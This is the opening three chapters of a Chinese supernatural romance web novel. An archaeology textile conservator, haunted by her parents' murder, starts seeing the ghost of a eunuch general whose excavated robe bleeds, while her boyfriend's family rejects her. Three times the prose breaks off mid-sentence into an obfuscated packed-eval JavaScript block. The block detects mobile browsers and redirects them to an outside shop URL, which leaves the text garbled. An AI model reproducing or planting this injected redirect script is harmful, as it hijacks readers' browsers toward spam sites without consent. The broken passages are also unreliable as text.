《煞她风景》 1. 旧时青(一) 大火烧着房子,把什么都映得带了点红,原先紫蓝色的天,也给烧成了一片橘红。 ——“小元,你别过去,别妨碍警察办案。” 朝元出身平凡,家境算不上富裕。母亲小学毕业,自营着一家服装店;父亲是高铁站的普通职工。 但对于朝元来说,他们是这世间最温暖的存在。 丙午年的春天,朝元仿佛再次回到2011年——回到父母遇害的那一天。 “经过DNA比对,我们已经确认两位死者的身份。他们的直接死因,都是由于锐器反复刺入所致的严重内脏破裂与失血性休克。” “锐器创口密集分布于胸腹等致命部位,行凶者几乎刀刀指向要害。其中刺穿心脏的损伤,是导致他们迅速死亡的根本原因。” “另外,我们确认,尸体上的所有焚烧痕迹都形成于死亡之后。犯罪嫌疑人是在被害人死亡后,实施了焚尸行为。” 老房子被烧得只剩下了黑沉沉的骨架,可是有满天飞的黑蝴蝶在盯着她、在咬着她。 他们一个个道貌岸然的,像是戴着一副副剪裁好了的面具,好似平生都没有做过亏心事,自诩正义着,蜂拥而上。 “小孩,你再仔细想想,被害人生前可有与人结怨?” “经过警方调查,被害人生前和身边亲友借了不少钱,是不是经济上引起的纠纷?” ——“肯定是的,欠这么多钱,肯定是还不起了,要卷款逃跑,连孩子都要丢下,真是心狠。老实人也不是那么好欺负的!” “小孩,我们是警察,你能不能回忆回忆,你在你父母身边有没有见过什么特别的人,让你记忆深刻?” “凶手是他吗?小孩,你认识他吗?你再好好想想——” 天阴沉沉的,风也像是长着翅膀的黑蝴蝶,在扑腾着乱叫。 尖叫!一声声尖叫!朝元被这尖利的叫声给惊醒了,入眼却是一个明媚又温润的春日。 “醒来了吗?” 身后,传来温吞的男音。 干净的玻璃窗外,天朗气清,绵绵白云清明地映照在朝元的眼睛里。朝元微微转过身,看向床边长身直立的男子。 他名檀非,生得骨骼分明,一对长眉如剑,带着股硬朗之感,偏偏眼睛明净,多了几分婉转,少了一些锋利。中正高挺的鼻梁下,双唇不薄不厚,延至唇角的曲线如弓,色红鲜润。 他身姿端正颀长,正穿着件平整无褶的白衬衫。 朝元在心里松了一口气,忽略身上的酸涩黏腻,忽略方才的虚梦巢窠,从床上支起身子,扯扯唇角,笑着给他整理衣领:“我刚才在梦里梦见你了。起初我也不知道是你,但是看见那人脖子右侧有一颗很红的红痣,和你疤痕的位置一样,我就知道是你。” 檀非眼尾低垂,也微微笑着看她,随后拍开了她的手,自己系上衣扣:“胡扯。”他转过身,戴上床柜上放着的银丝眼镜,“我去做早饭,赶紧来吃。” 他脖子右侧确实有一块圆润的疤痕,年岁已久,已经成了浅淡的粉色。 将九点了,她上班快迟到了。 朝元在洗漱的间隙,听见客厅的电视机里播放起早间新闻: “省研究院考古工作者对卫朝长安城遗址中的永福坊进行第二次发掘,考察出一座面积超过十万平方的住宅。” “住宅遗址出土文物有陶瓷器、玉石器、象牙器数件。其中发现一支刻有铭文的青玉笛,笛身楷书铭文:如意十二年,皇后赐。” “根据史料记载,如意十二年,正是少帝执政的时期,皇后为慕容氏。慕容皇后的身份特殊,自幼在掖庭局长大,与神策军中尉萧摩奴二人情谊深厚,一起为奴为婢十多载。因此,外廷曾经弹劾过慕容皇后,称她和萧摩奴有对食私情。” “也是在如意十二年,萧摩奴要挟皇后为质,举兵谋逆。” “事败,被幽禁于永福坊旧宅,不日病逝,皇后闻讯大恸。” “所以结合相关史料,并考察该遗址临近太极宫,位于永福坊一带、规模宏阔,再参照出土铭文内容推断,此处极有可能为萧摩奴旧居。其具体情况仍有待进一步研究。” ——“这是你最近的项目吗?”从厨房里,传来檀非的声音,将朝元拉回了现实。 朝元还没有来得及回应,就在卫生间痛呼出声。 檀非旋即放下手中的活,过去看她:“怎么了?” 她的左手受伤了,鲜红的血汩汩直流,滴在潮湿又洁白的洗漱台上。 她拿起带着血的刮胡刀,抱歉地笑了笑:“我刚才洗脸,碰到了你的刮胡刀,给打落在洗手池里了。我想给你洗干净,没想到这刀片看见我舍不得走,硬是在我手上留下一个伤口,好让我流点血、牢牢记得它!” “你还有心思开玩笑?” 檀非看着她手上的伤,清洗刮胡刀,竟然将掌心划出了一道大口子。 这是个带有庭院的平层,庭院里种了罗汉松,种了兰天竹,种了铁线蕨,种了红枫。 于是满庭碧绿,被春风一吹,摇动的影子就游进来,使得檀非的眼神暗了暗。 朝元却不以为意,一双笑眼盯着他。檀非竟微微低下首,将唇贴上她的掌心。 朝元陡然察觉到他在亲吻她的伤、她的血,不得不抽了抽眉头,想要往后收收手。 却被檀非握紧。 这一握紧,仿佛手上的血都在往他那边涌。 可他的动作却很轻柔,像是他身上的白衬衫一样斯文。而庭院里的绿植影子游动在这件白衬衫上,像是一条条瘦长、冰冷又湿滑的蛇。 朝元定定地看着他,看着他不紧不慢地吃干净她掌心的血。 “疼!”随后,她重重出声。 他竟然咬她,虫蚁一般的疼在啃食她的伤口。 檀非这才松开手,抬起脸:“这血止住了。”他尝了尝嘴角的血,转身去卧室拿医药箱时,接着朝元刚才的玩笑话说,“你说得对,不仅是人和刀片,人和人之间也应该流点血,留点痕迹,好当是下辈子去找你的路费了。” “你平时也是给病人这么看病的吗,檀医生?不用包扎了,小伤而已,我上班得迟到了。”朝元止住他拿医药箱的动作,往客厅走。 ——电视屏幕上,早间新闻已经结束了,换成了娱乐新闻,身穿浅色正装的主播正口条清晰地播报着: “昨日夜间十一点,当红男演员萧含玉于青海拍戏中不慎坠崖,目前已送入当地医院抢救。” “此前,萧含玉也因抢角传闻、耍大牌风波以及多起违约纠纷频频登上热搜,争议不断……” 朝元不认识他,只觉得新闻声音太吵,于是关掉了电视。 竟然还是很吵。 “还是包扎一下吧,不要感染了。”檀非拿着药箱,从卧室出来。 “也是……永福坊遗址出土了几件纺织品,清理起来不能耽误事,拿只创口贴给我吧。”朝元坐下吃早饭。 “看来还是工作更重要。”檀非无奈,却依旧细心地替她擦上碘伏,又按她的意思贴好创口贴。将这些做完,他便收拾药箱,抬头叮嘱她,“今天爸妈过来,下午我过去机场接他们,晚上约在南门的餐厅吃饭。你不要忘了,也最好不要迟到。要不要我去接你?” “知道了。”朝元微笑着看他,“我一定会准时到的。” 这才终于清静了。 住处离研究院很近,骑行不过十分钟,在林荫绿廊之间穿行,路过两处公园、一座佛塔。朝元骑行在这段路上,算是心灵归处,常觉得惬意非常。 今天也是一个温润的春日,沥青马路两侧环抱着飒飒的白杨树,时不时有附近高校的学生并肩而行。 朝元将自行车停在车棚里,进了科研楼后,就觉得有些阴凉了。 朝元本硕就读于秦川大学的考古专业,文物保护方向,毕业后经过导师介绍,在研究院实习,其后通过公开招聘的考试转正,在古代纺织品保护修复实验室工作。 卫朝长安城中的永福坊进行第二次发掘,从中清理出了一座疑似于萧摩奴的旧宅,在旧宅中发现了纺织品残片七件。 七块残片有领口、衣袖,属于同一件衣服。 朝元的工作便是记录下这件衣服的出土原状,随后修复它、保存它,再加以研究,读懂它。 这件衣服很可能是萧摩奴的,朝元在汤汤史海中,读到过萧摩奴。 只有寥寥数语,但已经道尽了他的生平。 金陵人士,无母无父,因为少时聪敏、容貌出挑,十岁那年,便被乡里挑作阉儿,献入京中。 宫中侍奉主上的奴才,也需要识文断字,不能太过于粗鄙。所以萧摩奴一进宫,就被送到内文学馆跟随宫学博士读书习字、学算习礼。 文献中并未记载他在习艺馆的表现如何,但朝元想,应该是非常难过的。 否则,他也不会被发落给监作,去服挑土运石的苦役 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454701|201208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 许多无名无姓的人熬不过去,病的病死、打的打死、疯的疯死……应有尽有。 萧摩奴熬过去了。他十七岁那年,终于有了出头之日。 那一年,少帝登极,改年号为如意。 那一年,萧摩奴被任命为殿头内侍,得以离开掖庭,在少帝身边听差。 如意二年,他便承受诏旨,出纳王命,在内仆局掌库藏财货。 想来金帛出入,分毫不差;诸司用度,笔笔有据,使得他升迁很快。 ——如意六年,他出任宣徽使,跻身内诸司。 史书中载,少帝偶尔夜读倦了,问他旧书故事,他能背得滴水不漏;又问仓储税数,他也能对答如流。 他在宫中蹉跎多年,早已养成了谨小慎微的性子。 于是,如意九年,他年二十六,开始执掌兵权。 岭南蛮酉勾结林邑、真腊,号称二十万众,企图造反。少帝派他和辅国大将军分路进兵。 史书上简短地说——他带五千兵骑,昼夜行军两百里,亲探险径,临急水而先渡。 萧摩奴第一次掌兵,便三战三捷,把意图称帝的那位蛮酉剿灭在阵前。 其后,他又奉诏南下,平定邕州、泷州两地的内乱,很快升迁为左神策军中尉,登顶人人艳羡的四贵行列。 可真的人人艳羡吗? 在当时人眼中,他依旧是一个“天子家奴”。 在青史冷简上,他依旧是那个行军严酷、转运失度、器用奢侈,甚至滥杀降者的独夫。 在列传的末行里,他依旧是那个于玄武门下谋逆未遂的阉人。 朝元想,他的功名是真,这些罪行大抵也都是证据确凿。但世事难以一言定论,如何评说,自在不同人的心中。 值得一提的是,同样在如意九年,在萧摩奴最意气风发之时,少帝立了慕容氏为后。 少帝、慕容皇后、萧摩奴…… 真有意思。 朝元更在意的,是萧摩奴如何在十七岁那年,等来了命运的转机。 他如何结识的少帝,又是如何从掖庭局的苦役之中,一步跃入帝侧,成为近侍。 实验室的灯一闪一闪,像是谁人在眨眼睛,忽明忽暗。 ——“朝元,永福坊的纺织现在方便绘图吗?段老师催着要数据,好写简报。”田野考古那边的宋盈箱拿着卡尺和绘图板过来。 窗外的天色已呈褐灰色,天黑了。 操作台上的台灯还是明亮的,显得有几分凄清。 朝元低了一天的头,脖子酸得厉害,但眼睛始终没有离开显微镜,回应的声音也是扬着的:“师姐,你再晚来一会儿,我就要覆上背衬了,纹样边缘就不好画了。”她微微笑了笑,“稍等半分钟,我把这块加固剂吸掉。” 宋盈箱应声,一面戴手套,一面等她。 忽而,朝元低低地传来抽气声。 “怎么了?”宋盈箱抬步过去看她。 镊子钩破了朝元手上的手套,掌心的刀伤重新渗出血来,血珠凝聚在一起,顺着破口处迅速滴落在鸦青色的织锦上,洇开、蔓延、融入其中。 宋盈箱有些意外:“你受伤了?” 朝元看着在织锦上化开的血,仿佛将鸦青色织锦洇得颜色更深、更暗。 实验室的灯跳得更快了,一明一暗、黑黑暗暗,伴随着嗡鸣的电流声。 “这灯什么时候坏了?”宋盈箱说。 朝元倒一直显得很冷静,扯开旁边原本用来加固器物的塑料薄膜,眼也不眨地包裹在手上,止住继续流淌的血。 随后,她将织锦残片放到托盘上:“师姐,真是不好意思,我原来以为这是小伤,没有想到闯祸了。我先放到充氮库房里,到时候能处理了我再通知师姐过来,你先绘其他的残片,我会去和段老师解释清楚。” 朝元推开了实验室的门,过去库房。 幽静幽长的走廊,放眼过去空无一人,只挂着几盏惨白的灯。 朝元走在走廊上,这才传来几下寥寥的脚步声。 其余再无声音。 听不见外边的风声、车流声,也听不见旁边博物馆的喧嚣声。 朝元目光低垂,越过托盘上绣着金线的织锦残片,落在自己的左手上。 鲜血仿佛在塑料薄膜里汇聚成了暗红色的水脉,一道道淅沥地流淌,早已没有创口贴的踪影。 朝元抬起眼,望向旁边墙上的影子。 2. 旧时青(二) 朝元实在是生了一张过于清白的脸。 一张鹅蛋脸,眉色如远山,眼睛细长如柳叶,红唇肥圆而不厚赘。 “对不起,伯母,伯父,院里临时出了点事,是我耽误了时间,来晚了。”现在正是晚高峰,餐厅又定在南门这个最热闹的地段,研究院位置偏,离南门有很长一段距离,朝元紧赶慢赶,在路上堵了会儿车,迟到了五分钟,“这是我的一点心意,之前见伯母伯父很喜欢喝茶,我就在茶市挑了一套德化窑的茶具,配了些绿雪芽,请你们见谅。”她一面说,一面将礼物放在桌子一侧。 “你的手怎么了?”未等眼前二老说话,身旁的檀非注意到她的手,刀片划伤的伤口周边已经开始发青发紫,他眸色一暗,询问道。 朝元并没有遮掩,觉得他大概是傻了。 “早上受得伤,哪有那么快愈合?回去再擦点碘伏就没事了。”她说道。 你明明知道我问得不是这个。 南门内外已经亮起了灯笼,红色的灯光透过餐厅的落地窗,给室内深暗地覆上一层阴影。 人影憧憧,檀非还想再说些什么,可最终还是移开了眼,看向坐在对面的父母,起身为他们倒红酒:“是我考虑不周到,朝元在西三环那边上班,赶来南门不方便……” 檀非的话还没有说完,就被他的母亲周成璧截住了:“你看看你,瘦了那么多。九院的口腔科是数一数二的,你既是交大本科,又有德国留学背景,妈给你对接了九院口腔颌面外科的沈主任,只要你和妈回去沪申,就可以直接进他的团队。” “还有朝元,”她一面说,一面将目光转向朝元,“我记得你是金陵人,你虽然现在不想家,但等到年纪大了就后悔了。我看你们研究院里也有不少人最后转业的,她们的选择是对的。金陵和沪申离得近,只要你和檀非过去沪申,我到时候可以帮你看看那边的科研院所和博物馆。” 朝元早就知道他们过来秦川的用意。 餐厅里其实很安静,除了周成璧的说话声,就只剩下刀叉落盘的吃饭声。 檀非的父亲檀润芝从头到尾都在切着牛排,仿佛饭桌上的一切都与他无关。 “你要回去沪申吗?怎么没有提前和我说?”朝元转头看向檀非,故作诧异地问道。 她将问题重新抛回给他。 檀非神色不变,目光仍停留在周成璧的脸上:“妈,你们过来秦川,我很高兴。找工作总归也要两厢情愿,九院的口腔颌面外科名声在外,沈主任的团队也是国内顶尖,想进去的人很多,比我优秀、也更合适的人选不会少。临床需要长期稳定的投入,我现在的研究方向还在延展期,贸然转去,既耽误团队,也耽误我自己。” 他的余光掠过朝元,见她那份牛排还完整未动,便不声不响地把盘子换到自己面前,将已切好的那份推到她手边。 “妈,请你也多考虑我一下,如果有一天我的方向、能力都与沈主任的团队契合,我会去争取。” 南门的灯火传来餐厅时,已经恹恹的。朝元注视着他,也注视着他颈侧的那颗浅粉色疤痕。 忽然,她不只听见了刀叉落盘的声响,还听见了一阵阵清脆的铃铛声。 铃铛声起初是细微的,随后越来越近,仿佛就擦在她的耳后过来。 朝元透过昏暗的餐厅,透过一重重灯火,循着铃铛的方向看去,只看见一袭青色的袍衫衣摆,衣摆下赤着一双因长年累月不见日月而过于苍白的脚。 铃铛声就是来自于他的脚踝,他的脚踝上用一根红色细绳系着金色铃铛。 四周仿佛都寂静下来了,只有他步态均匀、一步步及近的铃铛声。 ——“朝元,你在研究院也不听长辈讲话吗?” 硬生生的,周成璧的声音将她拉了回来。 “伯母,我刚才脖子有点酸,没有忍住,走神了,你说什么?”朝元的指腹触碰上左手掌心的狭长伤口,反复在边缘摩挲。 周成璧把刀叉重重一放,故意发出一声清响。她微微抬起下巴,眼尾垂着,带着几分审视的味道:“这些礼物,是檀非买的吧?你现在住的地方,也是檀非置办的吧?你从小没了父母,那边的房价再便宜也买不起吧?” “礼物,是我自己买的。房子……”朝元说道,“是我趁火打劫,偷光主人家的钱,抢来住的。” 朝元话一说完,目光瞥向落地窗,倒映出周成璧的脸色确实变了。 于是,朝元又笑了笑:“我是开玩笑的,伯母,房子也是我自己买的。”她不急不缓地回应道,“父母去世后,留给我的财产不多,姑姑家也有小孩要养。我平时会趁寒暑假打工,上了大学后,课余时间也会做些家教和兼职,咖啡馆、奶茶店、服装店,后来还有工地和工厂,我都做过,攒了一些钱。房子是我为了自己上班方便买下的。不过那栋房子发生过凶杀案,房东便宜卖给我的,我也算是遇到贵人了。” “贵人?”周成璧冷笑,“疯子。” “生活而已,伯母觉得我是什么,我就是什么。”朝元不置可否。 在她的印象里,周成璧其实是一个体面人,不会这么戳破脸皮的说话。 可朝元来不及探究,因为她根本就看不清周成璧的脸嘛。 她的视线都被那只铃铛的主人挡住了。 晦暗的红灯摇着,光影像是血水一样在墙上流动。他身着一袭不属于这个时代的青色圆领窄袖袍衫,腰间束着一条素黑革带。 朝元的眼睫忍不住颤动,一面摩挲掌心的伤口,一面微微笑着看过去。 他用木簪束发,容貌昳丽的到了锋利的地步,长挑眉,瑞凤眼,鼻子挺直而狭长,红唇色深而瘦薄。 唯一美中不足的便是那过分苍白的面色,乌发红唇,衬得他像是刚从深潭里爬出来的水鬼。 湿冷、无声,却贴得太近。 水鬼正弯着腰,几乎贴着她的脸,看她。 “樱桃鹅肝。你们的餐上齐了,请慢用。”服务员的声音轻轻落下,像是一颗石头轻轻地投入了湖面。 她很确定,周遭没有人能看见这只鬼。 笑已经僵了。 朝元松开了手,却将唇角的那点笑拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454702|201208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得更深。 她微微前倾身子——额头先穿过那只水鬼的鼻梁,冰冷得让她浑身都微不可闻地颤粟几下;随后是嘴唇。 她掠过了他的嘴唇,像是风穿堂而过。 她伸手拿起刀叉,低头吃饭。 银器在盘边不规则地响了响,她两手不由得颤抖了会儿,最后化为不在意的轻叹。 “檀非,你从小到大一直很听话,这就是你认定的妻子吗?”周成璧低眉笑了笑,“你太让我失望了。” 檀非默然。 “你已经听话了那么多年,为什么不能再听话一阵?我看她未必有多喜欢你,你是我身上掉下来的一块肉,这世上只有我是真心真意待你的,你为什么总是不相信我?”周成璧秀眉清眼,脸颊却瘦削得像细刀,低下头时,顶灯直直落在发顶,光影把那点骨相照得更深。 “妈,多吃点。”檀非低头切开鹅肝,将白瓷盘递到她的面前,温声说道。 朝元觉得这是他们一家的家事,自己不过是外人,何必横插一脚? 所以她低头切着盘中的食物,一口一口咽下去。 其实脖子早已酸得发紧,如果能抬头好好吃一顿该多轻松。 可她能察觉到那只水鬼阴仄的视线,像是一双无形的手,逼得她不敢动。 谁知“砰!”的一声响,周成璧摔下尖形餐刀,起身质询道:“檀非,你们一家没有一个好人,你也要活活逼疯我吗?” 檀非的目光先落在那把指向自己的餐刀上,停了一瞬,又缓缓抬眉,看向周成璧。 那一眼,像个孩子仰望母亲,可在那层银丝镜片下,一双眼睛始终平静、冷淡,不喜不怒。 檀润芝终于有了动作。他瘦高个,长得文质彬彬,先对朝元温和地笑了笑,随后伸手,轻轻握住周成璧的手腕,示意她不要再激动。 “檀非,送我和你妈回去酒店。” 他牵着周成璧的手起身时,经过檀非身边,特意停下脚步,用那只戴着婚戒的手拍了拍他的肩。 朝元也看向檀非,安抚他:“他们肯定是太久没有见到你,很想你,你送他们回去吧,好好陪陪。” 回身看去,檀润芝已经站在门口等他。 檀非却没有立刻起身。他静静看了朝元一会儿,随后从黑色长裤的口袋里取出一条灰色棉帕,握住朝元受伤的手,动作很轻,一圈一圈地替她包好:“回去不要碰水。” “等我回来。”他又把她的手轻轻放回桌边,轻声说道。 朝元望着他拎着礼物离开,直到看不清他的身影。 ——手机铃声响了。 朝元故意忽视身边的水鬼,接起电话,听筒里传来宋盈箱的声音:“朝元,先回院里一趟,永福坊的纺织品出了问题,七件残片全都在莫名其妙地洇血,院里要临时开会。” “我这就过去。”朝元心头一紧,回道。 电话挂断,她把通勤包收好,刚要起身,一股狭隘的冷意便攀上了她的耳廓。 那只水鬼躬身张唇,几乎是贴在她的耳边说道:“他要挨打了。” 3. 旧时青(三) “原来这么多年过去了,我的血还是红的。” 深夜,朝元因为永福坊纺织品的事,本就睡不着。一滴一滴黏腻的液体滴答滴答地落在她的脸上。 仿佛被血腥气包围了,堵住了她的耳鼻喉腔。 朝元听见那只水鬼说话后,也始终是闭着一双眼睛,脑子里回想的是纺织品流血的怪事。 院里领导收集了血液样本,将七件残片送去了病害分析。 朝元担心的,并不是残片上残留着自己的血。关于这件事,她已经和院领导打过报告了,心中并没有任何隐瞒。相比之下,她担心得是一路上跟着她回来的水鬼。 那水鬼不仅寸步不离,还格外不安分。 譬如,她从餐厅出来,走进停车场,像是鬼打墙一样,在那几堵厚重的水泥墙之间兜兜转转,绕了好几圈才找到自己的车。 期间,停车场的灯忽明忽暗,四周的冷意一直往骨头缝钻,她全身发麻,绕路绕得心烦意乱,甚至差点被冲进来的汽车撞了。 直到刺耳的刹车声响起,她才终于找到了路。 再譬如,她赶到研究院时,库房和实验室已经封锁了。 实验室的灯已经好了,所以可以清晰地看见操作台上的残片正在源源不断地渗血,将原本鸦青色的织锦彻底淹成了一片血红。 ——直到她过来。 亦或是直到这只水鬼跟着她过来。 那血才停止流淌,并在转瞬间化为乌有。 青衣还是青衣,仿佛什么都不曾发生。 朝元看见他停留在其中一件残片前,伸出那双仿佛只剩下骨头的手,轻轻抹去金线旁早已干涸的血迹。 他舔了舔指尖,像是在回味些什么。 是朝元的血。 他在冷白的光线下,抬眼看向朝元,唇角扯出深深的笑意。 又譬如,她回到住处时。 漆黑的夜色下,她看见了一片无尽的墓地,荒草杂乱,碑影林立,一只只鬼披头散发,从裂开的坟土里缓缓爬出来。 泥屑簌簌地落下,朝元的后背一寸寸发冷,鸡皮疙瘩顺着脊梁骨攀爬上来。 她们的衣色各异——黛蓝、绛紫、枣红、墨黑……有的穿着中式寿衣;有的衣不蔽体,只剩一片片朽烂的布挂在骨架上。 从秦汉至明清各朝各代的遗魂,都纷纷披着丧装与殓服,一步步僵硬地向朝元挪来。 有的身披秦汉深衣、曲裾长袍;有的身穿唐代圆领袍、半臂襦裙;还有的穿着宋制褙子、明代圆领补服…… 长长的沥青马路上没有路灯,只剩下一片湿润的白雾。 雾里是无边的墓地,是一群群如同墓碑一样林立着的鬼影。 朝元看见了一个戴着凤冠霞帔的新娘,她身上缠着经幡,胸前覆着镇魂符,喜稠已经褪成了暗红色。 符纸已经被烧焦得只剩下边角,跟着飒飒作响得行走,像是枯黄的叶子在了无生趣地摩擦。 朝元却仿佛什么都没有看见。 她的面色格外平静,像往常一样,一步步往家的方向走。 只是她的身上,从后颈到尾椎,全都渗出了冷汗。 新娘鬼与朝元擦肩而过,朝元忽而看见了前方明亮的灯光。 可她没有加快步子。 在这百鬼夜行间,她依旧缓缓前行。 直到一双枯瘦的手搭上了朝元的脖子。 那双手没有青筋,没有血色,像是寒冬腊月里的冰块,紧紧贴在她的颈侧。 那人穿着青色圆领窄袖袍衫,冷风掠过乌发,衬得他雪肤红唇,一双漆黑的眼睛空得像是骷髅,却又带着几分温和的笑意,像是梨花初落般温和。 “你看得见我吗?”他微微弯腰,平视着朝元的眼睛,温柔地问道。 可在朝元的眼里,他就像是一口无声张开的黑井,深不见底,多看一眼还会有血光之灾、溺毙之险。 朝元只能硬着头皮装作看不见,径自掠过他,往家的方向走。 身后,那只水鬼却躬身笑得浑身发抖。 那一群群从坟地里爬出来的鬼,似乎在他的笑声中,扭曲的消失了。 墓地也在同一时间不见了。 朝元的视线瞬间清明了。 ——思及此,夜已经深了,乌云挡住了莲藕一般的月亮。 落地窗外的庭院阴凉清静,不知何时飞来一只漂亮的金丝雀在叽叽喳喳地叫。 仿佛叫着无边的孤寂,无边的哀怨。 朝元没有忍住,翻了一个身,在幽幽黑夜里,朝元已经察觉到自己正与那只水鬼脸贴着脸。 他这抹鬼影,已不知何时躺在了她的身侧。 身边已经没有血腥气了,只有他的凉意。 明明是只鬼,朝元却仿佛能感觉到他近在鼻尖的呼吸。 那股凉气正有条不紊地扑在她的脸上。 朝元以前是从未见过鬼的。 她没有传闻中的阴阳眼。 即便是父母去世,她也从未梦见过他们,那就更别提亲眼见到他们。 朝元仍旧闭着一双眼,静静的,与他的呼吸一同静静的。 她能感觉到,这只鬼一直在故意吓她。 可又不曾伤害她。 难道是只有良知的鬼吗? 她一生没有作恶多端,到底是怎么碰上他的? 为什么偏偏跟着她走? 朝元的心绪繁杂,在月光和夜色下睁开了眼,果然碰进了水鬼的视线里。 看他的打扮,他十之八九是来自卫朝。 身上那袭青素的圆领袍不过是用粗麻布裁成的旧衣,没有补子,没有装饰,更没有纹绣。 窄袖干起活来十分方便利落,他的袖口和臂弯处有好几处缝补的痕迹。 显然是反复缝缝补补地穿着,穿着很多年,但是缝补的针脚很仔细、很细密。 不知是不是他自己缝的。 朝元轻轻嗅了嗅鼻尖,他约莫二十多岁,除却分外出挑的相貌外,整个人都清秀得近乎单薄,身上洁净的过分,没有一丝多余的味道,仿佛就是一缕轻飘又冷淡的空气。 可朝元分明看见,她轻嗅鼻尖的时候,那只水鬼拧起了眉头。 他有些生气了。 朝元迅速从床上坐起身,打开了夜灯。 “你受伤了吗?”朝元拍了拍身边檀非的肩,出声询问他。 因是她想起了水鬼说过的话,水鬼在餐厅里说——檀非要挨打了。 檀非回来的时候没有说,所以朝元也不想多问。她看得出他的沉默里藏着心事,但七年的相处早就让她明白了,他不愿开口自然是有他的理由。 她应该尊重他。何况他的心事恐怕是因她而起。 不是什么大事,纯粹是他的父母看不起她的出身。 她和檀非已经在一起七年了,有些事她心知肚明。 他们相识于秦川,当时檀非在交大读大三,而她刚被秦川大学录取,在那里读书。 他们第一次见面,是在大兴善寺。 寺门外,有一只流浪猫被电动车撞了,她蹲在路边,拼命给猫做心脏复苏。 而他正在寺庙的香火中拜佛。 他那样的人,实在不像是会低头求佛的人。但偏偏就是在那个时候,他们误打误撞地碰面了。她也独自救活了猫。 后来又是校际交流,又是文体联赛,又是无数个偶遇,他们慢慢熟络起来,仿佛一切都是顺理成章。 真正的转折是发生在大二下学期。朝元在秦岭北麓实习,一处卫朝时期的墓葬群因为基建被发现,当时处于过渡期,正式的考古队尚未进驻,而审批流程、经费和人员也没有到位,所以没有办法立即进行发掘,地方只能先安排学生轮流值守。 发现墓葬群的消息却走漏了。它的位置偏僻,位于秦川的南郊,在深山之内,附近都是村落,有一群盗墓贼拿着工具趁夜过来。 他们冲进来的时候,朝元第一个反应过来,当时脑子里只剩下一句话——哪怕是死,也要保护好文物。 临时搭建的工作室里只有三个人,朝元让另外两个人把刚出土的陶器、铜器、漆木残片用麻袋和防震棉重新包好,找个地方藏起来。同时,她又打电话报警,通知老师和工地负责人。 随后,她就独自拿起一旁的铁锹朝他们冲过去,挡在坑口,不让他们下探方。 对方也没有想到这地方真的有人在值守,可已经走到这一步了。 何况朝元也只是一个身单力薄的学生。 在威胁和打骂声中,朝元的头被砸破,血一下子就流进了眼睛里。 那个时候她已经感觉不到疼了,只是为了心中的执念。 终于,藏好文物的另两个同学来了,附近的村民们听见动静,也纷纷赶来了。 他们都来了。 从医院下夜班的檀非也在此时,恰好过来了。 人群嘈杂中,朝元只记得自己躺在担架上,而檀非正跪在身旁,给她压迫止血,检查瞳仁,清理创口,固定颈椎…… 他把她送上救护车,也在手术室门口守到天亮。 那时候,她在秦川没有亲人,只有他和为数不多的朋友。 · 思及此,檀非果然还没有睡。 夜灯下,朝元看见他抬起眼皮,看过来:“因为今天吃饭的事睡不着吗?”他问道。 朝元只知她的身后贴着一双鬼的视线。 她没有回头,对檀非说道:“你有没有受伤?不然我睡得不安心。” 今天的朝元无疑是反常的。 可檀非还是起身了。 他也没有再遮掩,抬手解开了身上的对襟真丝睡衣,露出宽阔的肩背,除却已经黯淡的旧伤和烧伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454703|201208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还横陈着一条条极其新鲜又非常凌乱的鞭痕。 像是用腰带抽的。 下手又狠又快,仿佛只是纯粹的泄愤,以至于伤痕交错纵横、杂乱无章,一层一层压在旧伤上。 檀非背对着她,说道:“确实受伤了。”他戴上银丝眼镜,微微侧目,又出声问道,“你希望我回去沪申吗?” 朝元在水鬼和檀非的双双注目下,起身去拿药箱,洗干净双手后,才再坐回檀非的身侧,一面给他抹药,一面自然而然地回:“当然不希望。” “可我也不希望你和家里闹这么僵。当初你去德国留学,我们不是也一步步走过来了?沪申虽然离得远,到底是在国内,我们每年还是能见上很多面的。他们毕竟是你的父母。”朝元说道。 檀非闻言,微微笑了笑:“你真的这么想吗?” 他虽然在笑,那双眼睛尤为温婉明净,可或许是镜片的缘故,总透出几分漆黑与冷清。 朝元凑到他的肩侧,偏头看他:“难道你生气了吗?” 看着这张近在咫尺的脸,看着这双春风杨柳般的眼,檀非面色不改,仍旧端看着她:“朝元,在德国的时候,也是我每天从早到晚等着你回信息。” “我一个人搬家,办居留,去医院做体检,在实验室赶进度。论文卡住的时候,导师当众质疑我;签证续签出了问题,我连夜修改材料;银行卡被盗刷,账户冻结,我过去警局和那些人解释到半夜。”他依旧温和地笑着,温和地说道,“我做这些事的时候,我还在等你回消息,我甚至一天下来也等不到你的电话,等不来你的踪影,我只能靠猜,猜你在忙。所以你说,你一步一步走过来了。但是对我来说,不是这样的。” 